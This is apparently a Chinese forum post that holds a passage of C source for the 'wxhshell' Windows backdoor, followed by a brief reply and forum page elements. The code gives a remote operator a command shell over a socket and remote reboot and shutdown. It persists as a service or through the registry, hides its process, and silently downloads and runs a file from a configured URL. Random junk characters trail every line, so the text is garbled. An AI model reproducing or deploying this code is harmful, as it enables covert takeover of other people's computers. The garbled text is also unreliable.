  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?QgWW  
  else eM}Xn^}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _F9 c.BH  
  } /D12N'VaE  
  else { SFHa(JOS  
[M.Vu  
    switch(cmd[0]) { > 01k u  
  I/adzLQ  
  // 帮助 J GdVSjNC  
  case '?': { d 9|u~3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PF~&!~S>W  
    break; 4D8q Gti  
  } f`Nu]#i  
  // 安装 {,m!%FDL  
  case 'i': { L_(|5#IDw  
    if(Install()) I?=Q *og  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @S{,g;8  
    else }.#C9<"}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rfk';ph  
    break; QL3%L8  
    } #/aWG  x_  
  // 卸载 j JW0a\0  
  case 'r': { x|Dj   
    if(Uninstall()) |cH\w"DcXw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6i%)'dl  
    else _$\T;m>'A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ky+TgR  
    break; D_@^XS  
    } b |EZ;,i  
  // 显示 wxhshell 所在路径 JSM{|HJxh  
  case 'p': { ^vzNs>eJ  
    char svExeFile[MAX_PATH]; W!{uEH{%l  
    strcpy(svExeFile,"\n\r"); &{>~ |^  
      strcat(svExeFile,ExeFile); (g 8K?Q  
        send(wsh,svExeFile,strlen(svExeFile),0); [mhY_Hmz]  
    break; \ZA%"F){  
    } iS"rMgq  
  // 重启 b[$>HB_Na  
  case 'b': { E 0YXgQa  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  l)?c3  
    if(Boot(REBOOT)) {w2<;YXj!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F](kU#3"S  
    else { "*UHit;"+{  
    closesocket(wsh); BQm H9g|2  
    ExitThread(0);  `=oN&!  
    } R{.ku!w  
    break; r8mE   
    } DY1o!thz)  
  // 关机 bygwoZ<E  
  case 'd': { "UE'd Wz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); UXd\Q''  
    if(Boot(SHUTDOWN)) pJ{sBp_$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .; :[sv)  
    else { )%*uMuF  
    closesocket(wsh); djk   
    ExitThread(0); sYvO"|  
    } mFT[[Z#  
    break; uvT]MgT  
    } l?ofr*U&-x  
  // 获取shell *p VKMmU  
  case 's': { I` /'\cU9  
    CmdShell(wsh); =!7yX ;|  
    closesocket(wsh); {1FY HM^  
    ExitThread(0); vHWw*gg(/E  
    break; x ha!.&DO  
  } .*8.{n5   
  // 退出 na<g /&  
  case 'x': { |g@1qXO3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); MLUq"f~N  
    CloseIt(wsh); 1<lLE1fk  
    break; N j?,'?'O}  
    } klPc l[.w  
  // 离开 gX);/;9mm+  
  case 'q': { U|,VH-#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); __)9JF  
    closesocket(wsh); <MY_{o8d  
    WSACleanup(); 4%B${zP(.}  
    exit(1); #[IQmU23  
    break; zc(- dMlK  
        } t0/fF'GZD  
  } sURHj&:t|  
  } "xw2@jGpG  
Z[|(}9v?~  
  // 提示信息 !IP[C?(nB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9v^MZ ^Y{  
} 8%Pjx7'<  
  } zL1H[}[z+  
2OEO b,`  
  return; #qHo+M$"  
} *Bc= gl$  
(G:$/fK  
// shell模块句柄 o <sX6a9e  
int CmdShell(SOCKET sock) X)`? P*[  
{  y!!p:3  
STARTUPINFO si; Aj-}G^>#  
ZeroMemory(&si,sizeof(si)); Dg \fjuK9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $$AKz\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oMcX{v^"  
PROCESS_INFORMATION ProcessInfo; ^oM*f{9  
char cmdline[]="cmd"; +b 1lCa_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); aM~M@wS  
  return 0; <vOljo  
} wOINcEdx  
haS`V  
// 自身启动模式  s(F^P  
int StartFromService(void) $$`}b^,/  
{ &%rX RP  
typedef struct amOBUD5Ld`  
{ LDO@$jg  
  DWORD ExitStatus; s>^*GQw  
  DWORD PebBaseAddress; wC;N*0Th  
  DWORD AffinityMask; ]e 81O#t3  
  DWORD BasePriority; R:zjEhH )  
  ULONG UniqueProcessId; 8 z\WyDz  
  ULONG InheritedFromUniqueProcessId; tPc'# .  
}   PROCESS_BASIC_INFORMATION; q f-1}  
,Epg&)wC]  
PROCNTQSIP NtQueryInformationProcess; mq >Ag  
"@DCQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W.{#Pg1Da  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Sw>AgES  
[[ H XOPaV  
  HANDLE             hProcess; ^<7)w2ns  
  PROCESS_BASIC_INFORMATION pbi; %/jm Q6z^  
Fod2KS;g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L3'o2@$  
  if(NULL == hInst ) return 0; 5Y JLR;  
Lr_+) l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yD(0:g#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >cQ*qXI0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s9zdg"c'  
Ju Kj  
  if (!NtQueryInformationProcess) return 0; hI]KT a  
=k'3rm*ld  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |&o%c/  
  if(!hProcess) return 0; {])F%Q_#cD  
>?'cZTNk]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~"iCx+pr  
(F +if  
  CloseHandle(hProcess); % =br-c  
&CG3_s<2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \ @3i=!  
if(hProcess==NULL) return 0; +kmPQdO;*/  
x/R|i%u-s  
HMODULE hMod; l0 r Zril  
char procName[255]; -%NT)o  
unsigned long cbNeeded; ma?$@ ]`k  
r. =_=V/t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lmgMR|v  
T[*=7jnJQ  
  CloseHandle(hProcess); X2/ `EN\  
UXnd~DA  
if(strstr(procName,"services")) return 1; // 以服务启动 z{7&=$  
*4dA(N\k"  
  return 0; // 注册表启动 ~W_m<#K(  
} #92 :h6  
rX)PN3TD  
// 主模块 ; P&K a  
int StartWxhshell(LPSTR lpCmdLine) W:ih#YW_F  
{ %DbL|;z1  
  SOCKET wsl; S2@[F\|r  
BOOL val=TRUE;  ZOi8)Y~  
  int port=0; |JtdCP{  
  struct sockaddr_in door; FU E/uh  
[j`It4^nC  
  if(wscfg.ws_autoins) Install(); ZjF$zVk  
~ucOQVmz@  
port=atoi(lpCmdLine); ?TLMoqmXM{  
dyC: Mko=  
if(port<=0) port=wscfg.ws_port; EL;IrtU  
w$u=_  
  WSADATA data; }[SWt3qV1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %F` c Nw]  
k^:$ETW2 D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   j]6 Z*AxQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &Ru|L.G`  
  door.sin_family = AF_INET; 4t|ril``]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pJ;J>7Gt  
  door.sin_port = htons(port); 5rr7lw WZ  
1>[3(o3t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cO.U*UTmX  
closesocket(wsl); ~ b!mKyrZ  
return 1; Ola>] 0l  
} BOQ2;@:3  
DvKM[z3j  
  if(listen(wsl,2) == INVALID_SOCKET) { dw5.vXL`  
closesocket(wsl); {Nuwz|Ci  
return 1; U"v(9m@  
} No=Ig-It  
  Wxhshell(wsl); G^ZL,{  
  WSACleanup(); zQMsS  
a]>gDDF  
return 0; 7<<pP  
;O}%_ef@  
} bjmUU6VLT  
q&B'peT  
// 以NT服务方式启动 Xw(e@ :  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z2_eTC u  
{ ),(ejRP'r  
DWORD   status = 0; cZuZfMDM  
  DWORD   specificError = 0xfffffff; (wdE@/V  
RY8;bUSR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q.yS j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &cV$8*2b^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $W<H[k&(B  
  serviceStatus.dwWin32ExitCode     = 0; sU^2I v\%  
  serviceStatus.dwServiceSpecificExitCode = 0; Ek~Qp9B  
  serviceStatus.dwCheckPoint       = 0; s4<[f%^  
  serviceStatus.dwWaitHint       = 0; 9x0B9&  
( \{9W  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r  /63  
  if (hServiceStatusHandle==0) return; mT <4@RrB  
;nyV)+t+a  
status = GetLastError(); 2 :u4~E3  
  if (status!=NO_ERROR) 22"M#:r$  
{ f ?_YdVZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^o+2:G5z}  
    serviceStatus.dwCheckPoint       = 0; bHH{bv~Z  
    serviceStatus.dwWaitHint       = 0; 9$c0<~B\  
    serviceStatus.dwWin32ExitCode     = status; P%z\^\p"5  
    serviceStatus.dwServiceSpecificExitCode = specificError; T^B&GgW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iA3d[%tBb  
    return; M=HW2xn  
  } "^u  
LY'_U0y4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &W:Wv,3  
  serviceStatus.dwCheckPoint       = 0; c9/w-u~j  
  serviceStatus.dwWaitHint       = 0; *v)JX _  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }@J&yrqg  
} Q.7Rv XNw8  
Tw/kD)u{  
// 处理NT服务事件,比如:启动、停止 FY)vrM*yh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w|pk1~c(_  
{ 1_%jDMYH  
switch(fdwControl) .;ml[DXH  
{ "aHY]E{  
case SERVICE_CONTROL_STOP: nud,ag  
  serviceStatus.dwWin32ExitCode = 0; )tl=tH/$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; */sVuD^b`  
  serviceStatus.dwCheckPoint   = 0; Z#BwJHh  
  serviceStatus.dwWaitHint     = 0; H=?v$! i  
  { 0 60<wjX6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l~!Tnp\M  
  } &Y%Kr`.h  
  return; "%dWBvuO  
case SERVICE_CONTROL_PAUSE: \j !JRD+j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %Rj:r!XB:  
  break; W?mn8Y;{`  
case SERVICE_CONTROL_CONTINUE: -|B?pR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gRIRc4p  
  break; izsAn"v  
case SERVICE_CONTROL_INTERROGATE: M7^PWC  
  break; [X0Wfb}{  
}; JM!rop^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^crk8O@Fw  
} H$zjN8||"  
(C*G)Aj7  
// 标准应用程序主函数 LH@)((bi4v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E#JDbV1AC  
{ 1fM= >Z  
E@^`B9 ;Q7  
// 获取操作系统版本 o\vIYQ   
OsIsNt=GetOsVer(); U~-Z`_@^-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rQg7r>%Q  
<&\HXAOd  
  // 从命令行安装 e.hHpjWi?Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); z=<x.F  
wvvMesX<L  
  // 下载执行文件 }WS%nQA  
if(wscfg.ws_downexe) { )` -b\8uw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^Crl~~Gk`  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,uqSq  
} u6IEBYG ((  
\!j{&cJ  
if(!OsIsNt) { S9d+#6rn  
// 如果时win9x,隐藏进程并且设置为注册表启动 gm~Ka%O|F  
HideProc(); NX&mEz  
StartWxhshell(lpCmdLine); km,}7^?F0r  
} ZfM(%rx  
else y5B4t6M(  
  if(StartFromService()) v/=O:SM}  
  // 以服务方式启动 jCqs^`-  
  StartServiceCtrlDispatcher(DispatchTable); _;3xG0+  
else 6 DqV1'  
  // 普通方式启动 &MsnQP  
  StartWxhshell(lpCmdLine); V^B'T]s  
U4qp?g+:  
return 0; Z2~;u[0a[  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五